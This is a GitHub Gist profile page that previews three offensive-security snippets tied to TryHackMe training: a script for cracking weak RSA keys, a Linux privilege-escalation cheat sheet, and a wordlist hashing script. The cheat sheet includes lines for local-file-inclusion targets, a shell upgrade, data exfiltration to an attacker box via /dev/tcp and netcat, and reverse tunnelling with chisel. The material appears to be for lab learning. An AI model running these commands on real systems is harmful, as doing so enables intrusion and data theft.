Skip to content

Instantly share code, notes, and snippets.

View sumanrox's full-sized avatar
❤️
❤️ Jai Shree Ram, Radhe Radhe ❤️❤️

Suman Roy sumanrox

❤️
❤️ Jai Shree Ram, Radhe Radhe ❤️❤️
View GitHub Profile
@sumanrox
sumanrox / crackRSA.py
Last active February 24, 2024 17:25
Python script to crack weak RSA, using Fermat's Factorization Method
#!/usr/bin/env python
# Automated by Suman Roy
# Training by TryHackMe : https://tryhackme.com/room/breakrsa
# Video Tutorial Djalil Ayed : https://www.youtube.com/watch?v=pafx20wTBvI
import base64
import struct
from os import chmod
from sys import exit
@sumanrox
sumanrox / enumeration-data.txt
Last active August 24, 2023 17:49
Basic Privilege Escalation Enumeration in Linux
# Is the site running via Nginx? LFI on='/etc/nginx/sites-enabled/default'
# Is the site running via Nginx? LFI on='/etc/nginx/nginx.conf'
# Is the site running via Apache? LFI on='/var/www/'
# Is the site running Wordpress?=Try using WPScan and check for links that points to plugins
# Shell Upgrade=python3 -c 'import pty; pty.spawn("/bin/bash")'
# Data-Ingres via netcat=nc -lnvp [attackBoxPort] > incomingData.txt
# Data-Egress via Cat=cat data > /dev/tcp/[attackBoxIP]/[attackBoxPort]
# Data-Egress via Netcat=nc [attackBoxIP] [attackBoxPort] < dataToExfil.txt
# Port-Forwaring via Chisel (Attack Machine)=chisel server -p [ANY PORT] -reverse
# Port-Forwarding via Chisel (Victom Machine)=chisel client attackBoxIP:[attackBoxPort] R:[victimPort]:[victimNetwork]:[victimPort]
@sumanrox
sumanrox / hasher.bash
Created August 24, 2023 17:17
Hasher | Generate Hashes from wordlist via Batch Script | Multi Threaded
#!/bin/bash
# Multi Threaded Hash Generator
# Configure your hashtype and number of threads or use the dfault max threads available from the CPU
# Pre-requesite : parallel
# sudo apt-get install parallel -y
# Usage : ./hasher.bash wordlist.txt output.txt
# Max threads can be set to 251 for parallel
# Set the number of threads